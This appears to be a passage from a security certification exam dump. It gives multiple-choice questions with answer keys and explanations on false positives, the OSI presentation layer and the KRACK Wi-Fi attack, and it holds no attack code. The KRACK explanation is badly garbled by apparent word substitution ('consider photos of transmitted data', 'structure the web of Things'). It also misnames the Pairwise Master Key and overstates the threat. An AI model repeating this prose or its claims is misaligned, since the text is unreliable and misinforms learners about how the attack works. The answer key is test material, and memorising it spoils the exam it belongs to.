Network-based application firewalls operate at the application layer of a TCP/IP stack. They can understand certain applications and protocols such as File Transfer Protocol (FTP), Domain Name System (DNS), or Hypertext Transfer Protocol (HTTP). This allows it to identify unwanted applications or services using a non-standard port or detect if an allowed protocol is being abused.

Host-based application firewalls

A host-based application firewall monitors application system calls or other general system communication. This gives more granularity and control but is limited to only protecting the host it is running on. Control is applied by filtering on a per-process basis. Generally, prompts are used to define rules for processes that have not yet received a connection. Further filtering can be done by examining the process ID of the owner of the data packets. Many host-based application firewalls are combined or used in conjunction with a packet filter.

**NEW QUESTION 56**

Mr. Omkar performed tool-based vulnerability assessment and found two vulnerabilities. During analysis, he found that these issues are not true vulnerabilities. What will you call these issues?

- A. False positives
- B. True negatives
- C. True positives
- D. False negatives

**Answer:** A

**Explanation:**

False Positives occur when a scanner, Web Application Firewall (WAF), or Intrusion Prevention System (IPS) flags a security vulnerability that you do not have. A false negative is the opposite of a false positive, telling you that you don't have a vulnerability when, in fact, you do.

A false positive is like a false alarm; your house alarm goes off, but there is no burglar. In web application security, a false positive is when a web application security scanner indicates that there is a vulnerability on your website, such as SQL Injection, when, in reality, there is not. Web security experts and penetration testers use automated web application security scanners to ease the penetration testing process. These tools help them ensure that all web application attack surfaces are correctly tested in a reasonable amount of time. But many false positives tend to break down this process. If the first 20 variants are false, the penetration tester assumes that all the others are false positives and ignore the rest. By doing so, there is a good chance that real web application vulnerabilities will be left undetected.

When checking for false positives, you want to ensure that they are indeed false. By nature, we humans tend to start ignoring false positives rather quickly. For example, suppose a web application security scanner detects 100 SQL Injection vulnerabilities. If the first 20 variants are false positives, the penetration tester assumes that all the others are false positives and ignore all the rest. By doing so, there are chances that real web application vulnerabilities are left undetected. This is why it is crucial to check every vulnerability and deal with each false positive separately to ensure false positives.

**NEW QUESTION 59**

User A is writing a sensitive email message to user B outside the local network. User A has chosen to use PKI to secure his message and ensure only user B can read the sensitive email. At what layer of the OSI layer does the encryption and decryption of the message take place?

- A. Application
- B. Transport
- C. Session
- D. Presentation

**Answer:** D

**Explanation:**

[https://en.wikipedia.org/wiki/Presentation\\_layer](https://en.wikipedia.org/wiki/Presentation_layer)

In the seven-layer OSI model of computer networking, the presentation layer is layer 6 and serves as the data translator for the network. It is sometimes called the syntax layer. The presentation layer is responsible for the formatting and delivery of information to the application layer for further processing or display.

Encryption is typically done at this level too, although it can be done on the application, session, transport, or network layers, each having its own advantages and disadvantages. Decryption is also handled at the presentation layer. For example, when logging on to bank account sites the presentation layer will decrypt the data as it is received.

**NEW QUESTION 64**

in this attack, an adversary tricks a victim into reinstalling an already-in-use key. This is achieved by manipulating and replaying cryptographic handshake messages. When the victim reinstall the key, associated parameters such as the incremental transmit packet number and receive packet number are reset to their initial values. What is this attack called?

- A. Chop chop attack
- B. KRACK
- C. Evil twin
- D. Wardriving

**Answer:** B

**Explanation:**

In this attack KRACK is an acronym for Key Reinstallation Attack. KRACK may be a severe replay attack on Wi-Fi Protected Access protocol (WPA2), which secures your Wi-Fi connection. Hackers use KRACK to take advantage of a vulnerability in WPA2. When in close range of a possible victim, attackers can access and skim encrypted data using KRACK.

How KRACK WorksYour Wi-Fi client uses a four-way handshake when attempting to attach to a protected network. The handshake confirms that both the client — your smartphone, laptop, et cetera — and therefore the access point share the right credentials, usually a password for the network. This establishes the Pairwise passkey (PMK), which allows for encoding .Overall, this handshake procedure allows for quick logins and connections and sets up a replacement encryption key with each connection. this is often what keeps data secure on Wi-Fi connections, and every one protected Wi-Fi connections use the four-way handshake for security. This protocol is that the reason users are encouraged to use private or credential-protected Wi-Fi instead of public connections.KRACK affects the third step of the handshake, allowing the attacker to control and replay the WPA2 encryption key to trick it into installing a key already in use. When the key's reinstalled, other parameters related to it — the incremental transmit packet number called the nonce and therefore the replay counter — are set to their original values.Rather than move to the fourth step within the four-way handshake, nonce resets still replay transmissions of the third step. This sets up the encryption protocol for attack, and counting on how the attackers replay the third-step transmissions, they will take down Wi-Fi security.

Why KRACK may be a ThreatThink of all the devices you employ that believe Wi-Fi. it isn't almost laptops and smartphones; numerous smart devices now structure the web of Things (IoT). due to the vulnerability in WPA2, everything connected to Wi-Fi is in danger of being hacked or hijacked.Attackers using KRACK can gain access to usernames and passwords also as data stored on devices. Hackers can read emails and consider photos of transmitted data then use that information to blackmail users or sell it on the Dark Web.Theft of stored data requires more steps, like an HTTP content injection to load malware into the system. Hackers could conceivably take hold of any device used thereon Wi-Fi connection. Because the attacks require hackers to be on the brink of the target, these internet security threats could also cause physical security threats.On the opposite hand, the necessity to be in close proximity is that the only excellent news associated with KRACK, as meaning a widespread attack would be extremely difficult.Victims are specifically targeted. However, there are concerns that a experienced attacker could develop the talents to use HTTP content injection to load malware onto websites to make a more widespread affect.

Everyone is in danger from KRACK vulnerability. Patches are available for Windows and iOS devices, but a released patch for Android devices is currently in question (November 2017). There are issues with the discharge , and lots of question if all versions and devices are covered.The real problem is with routers and IoT devices. These devices aren't updated as regularly as computer operating systems, and for several devices, security flaws got to be addressed on the manufacturing side. New devices should address KRACK, but the devices you have already got in your home probably aren't protected.

The best protection against KRACK is to make sure any device connected to Wi-Fi is patched and updated with the newest firmware. that has checking together with your router's manufacturer periodically to ascertain if patches are available.

The safest connection option may be a private VPN, especially when publicly spaces. If you would like a VPN for private use, avoid free options, as they need their own security problems and there'll even be issues with HTTPs. Use a paid service offered by a trusted vendor like Kaspersky. Also, more modern networks use WPA3 for better security.Avoid using public Wi-Fi, albeit it's password protection. That password is out there to almost anyone, which reduces the safety level considerably.All the widespread implications of KRACK and therefore the WPA2 vulnerability aren't yet clear. what's certain is that everybody who uses Wi-Fi is in danger and wishes to require precautions to guard their data and devices.

NEW QUESTION 67

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